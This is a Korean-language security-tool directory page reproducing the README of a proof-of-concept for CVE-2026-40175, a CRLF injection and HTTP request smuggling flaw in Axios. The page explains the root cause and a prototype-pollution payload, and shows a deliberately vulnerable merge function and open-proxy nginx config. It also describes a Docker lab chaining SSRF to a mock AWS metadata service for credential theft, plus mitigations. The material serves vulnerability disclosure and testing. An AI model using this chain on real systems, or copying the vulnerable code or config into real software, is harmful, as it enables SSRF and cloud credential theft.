Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40175-poc — Proof-of-concept demonstrating CRLF injection and HTTP request smuggling in Axios, chaining prototype pollution to achieve SSRF and access internal services like IMDS. | Kitploit
도구/GitHubGitHub/pjt3591oo/cve-2026-40175-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubpjt3591oo/cve-2026-40175-poc

CVE-2026-40175-poc

Proof-of-concept demonstrating CRLF injection and HTTP request smuggling in Axios, chaining prototype pollution to achieve SSRF and access internal services like IMDS.

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-40175 — Axios CRLF Injection / HTTP Request Smuggling PoC

개요

Axios HTTP 클라이언트(>=1.0.0 <1.15.0, <0.31.0)의 AxiosHeaders.set()이 헤더 값 내 \r\n을 검증하지 않아 발생하는 CRLF 인젝션 취약점.

공격자가 별도의 Prototype Pollution(lodash, qs 등)과 연계하거나 직접 헤더에 CRLF를 주입하면, nginx open proxy 같은 중간 레이어를 통해 임의 내부 서버로의 SSRF가 가능하다.

항목내용
CVSS9.9 (Critical)
영향 버전axios >=1.0.0 <1.15.0, axios <0.31.0
패치 버전1.15.0, 0.31.0
CWECWE-93 Improper Neutralization of CRLF Sequences

근본 원인

root@kitploit:~
lib/core/AxiosHeaders.js  AxiosHeaders.set()
  └─ normalizeValue()
       └─ /[\r\n]+$/ 로 후행 CRLF만 제거
          ↑ 값 중간의 \r\n은 그대로 통과

결과적으로 헤더 값에 \r\n\r\nGET /admin HTTP/1.1\r\n...을 삽입하면 TCP 스트림에 두 번째 HTTP 요청이 그대로 포함된다.


Prototype Pollution

개념

JavaScript의 모든 객체는 Object.prototype을 상속한다. Prototype Pollution은 이 공유 프로토타입 자체를 오염시켜 이후 생성되는 모든 객체에 영향을 주는 공격이다.

root@kitploit:~
Object.prototype.isAdmin = true;

const user = {};
user.isAdmin;  // true ← 선언한 적 없지만 존재

트리거 메커니즘

취약한 재귀 merge 함수(lodash < 4.17.21, qs 등)가 "__proto__" 키를 특별히 처리하지 않을 때 발생한다.

root@kitploit:~
function vulnerableMerge(target, source) {
  for (const key of Object.keys(source)) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      vulnerableMerge(target[key], source[key]);
      // key = "__proto__" 일 때:
      //   target["__proto__"] → Object.prototype 반환
      //   → vulnerableMerge(Object.prototype, source["__proto__"])
      //   → Object.prototype 에 직접 프로퍼티 주입
    } else {
      target[key] = source[key];
    }
  }
}

// 공격자 JSON: __proto__ 가 own property 로 파싱됨
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);

({}).headers;  // { 'X-Smuggle': 'evil\r\n...' } ← 오염 성공

axios 연결

root@kitploit:~
Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
         ↓
앱 코드: const opts = {};
         opts.headers  →  prototype chain  →  오염된 객체 반환
         ↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
         ↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...')  ← CRLF 검증 없음
         ↓
TCP 스트림에 스머글된 요청 포함

주의: 광범위 오염의 부작용

Object.prototype.headers를 오염시키면 axios 내부 schema 객체도 영향을 받는다.

root@kitploit:~
assertOptions(config, schema)  호출 시
  schema['headers']  →  prototype chain  →  오염된 객체 반환
  validator(value)   →  객체를 함수로 호출  →  TypeError

실제 공격에서는 오염 범위를 정밀하게 제어해야 하며, 광범위한 오염은 의도한 공격 전에 앱 자체를 크래시시킬 수 있다(DoS 부작용).


공격 체인

root@kitploit:~
[1] 직접 헤더 주입 또는 Prototype Pollution (취약한 merge 라이브러리 경유)
        ↓
[2] axios가 CRLF 포함 값을 검증 없이 헤더로 직렬화
        ↓
[3] raw net.Socket 으로 TCP 스트림에 기록
        (Node.js 기본 http 모듈은 런타임에서 차단 → custom adapter 필요)
        ↓
[4] nginx (proxy_pass http://$http_host) 가 2개 요청으로 분리 파싱
        ↓
[5] 스머글된 요청의 Host 헤더 기반으로 다른 upstream 으로 라우팅 (SSRF)
        ↓
[6] 내부 서버(IMDS 등) 접근 → 크레덴셜 탈취

핵심 조건

조건내용
Node.js http 모듈 우회net.Socket 기반 custom adapter 사용
nginx open proxyproxy_pass http://$http_host 설정
ignore_invalid_headers on비정상 헤더 허용
resolver 지시자동적 hostname 해석 가능

PoC 아키텍처

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│  Host Machine                                           │
│                                                         │
│  test-axios-adapter-*.js                                │
│  (raw net.Socket → nginx:8080)                          │
│                                                         │
│  browser → exploit.html (3003)                          │
│         → relay (3004) → raw socket → nginx:8080        │
└────────────────────┬────────────────────────────────────┘
                     │ Docker bridge (cve-net)
          ┌──────────┼──────────┬──────────────┐
          ▼          ▼          ▼              ▼
      backend     nginx       imds           (future)
      :3001       :8080       :80
      :3003                   (169.254.169.254 mock)
      :3004

포트 맵

포트서비스역할
3001backendHTTP 요청 수신 / 헤더 로깅
3003backendexploit.html 정적 서버
3004backendrelay — browser POST → net.Socket 변환
8080nginxopen proxy (proxy_pass http://$http_host)
80 (내부)imdsAWS IMDSv2 mock 서버

실행

root@kitploit:~
# 전체 컨테이너 빌드 및 시작
docker compose up --build

# Node.js 테스트 (호스트에서 실행)
npm install

시나리오별 테스트

root@kitploit:~
# 1. 백엔드 직접 — CRLF 주입으로 2개 요청 발생
node poc/test-axios-adapter-backend.js

# 2. nginx 경유 — 스머글된 요청이 backend:3001 으로 라우팅
node poc/test-axios-adapter-nginx.js

# 3. Prototype Pollution → CRLF Injection → SSRF 체인
node poc/test-prototype-pollution.js

# 4. 브라우저 — http://localhost:3003
#    대상 선택: 백엔드 직접 / nginx 경유 / nginx → IMDS (SSRF)

IMDS SSRF 시나리오

root@kitploit:~
1. nginx → IMDS 선택 후 Custom Adapter 실행
2. 스머글된 요청: GET /latest/meta-data/iam/security-credentials/my-ec2-role
                  Host: imds
3. nginx가 host=imds 로 라우팅 → IMDSv2 mock 서버로 전달
4. imds 컨테이너 로그: [!!!] 크리덴셜 탈취 성공!

파일 구성

root@kitploit:~
.
├── docker-compose.yml
├── Dockerfile.backend          # backend + relay 컨테이너
├── Dockerfile.imds             # IMDSv2 mock 컨테이너
├── package.json                # [email protected] (취약 버전 고정)
└── poc/
    ├── backend-server.js       # HTTP 서버 (3001), relay (3004), 정적 서버 (3003)
    ├── mock-imds.js            # AWS IMDSv2 mock (PUT /token, GET /credentials)
    ├── nginx-container.conf    # open proxy 설정
    ├── exploit.html            # 브라우저 PoC (XHR vs Custom Adapter)
    ├── test-axios-adapter-backend.js   # raw socket → backend 직접
    ├── test-axios-adapter-nginx.js    # raw socket → nginx → backend/imds
    ├── test-axios-no-adapter.js       # 표준 axios (Node.js 차단 확인용)
    └── test-prototype-pollution.js    # Prototype Pollution → CRLF Injection 체인

nginx 설정 (핵심)

root@kitploit:~
resolver 127.0.0.11 valid=30s;   # Docker 내부 DNS

location / {
    proxy_pass         http://$http_host;   # Host 헤더 기반 동적 라우팅 = SSRF
    proxy_http_version 1.1;
    proxy_set_header   Connection "";
    proxy_set_header   Host $http_host;
}

location /public {
    proxy_pass         http://backend:3001;  # 정상 요청용 고정 upstream
}

$http_host(포트 포함)를 upstream으로 사용하므로, 스머글된 요청의 Host 헤더가 곧 라우팅 목적지가 된다.


완화

root@kitploit:~
npm install axios@^1.15.0

패치(1.15.0)는 assertValidHeaderValue()를 도입해 CR/LF 포함 값을 즉시 거부한다.

추가 방어:

  • nginx에서 proxy_pass http://$http_host 금지 → 고정 upstream 사용
  • IMDSv2 전용 강제 (HttpTokens: required)
  • EC2 인스턴스 프로필 최소 권한 적용

References

  • NVD - CVE-2026-40175
  • Miggo Vulnerability DB
  • Aikido — Is it really exploitable?
  • CVEReports
도구 다운로드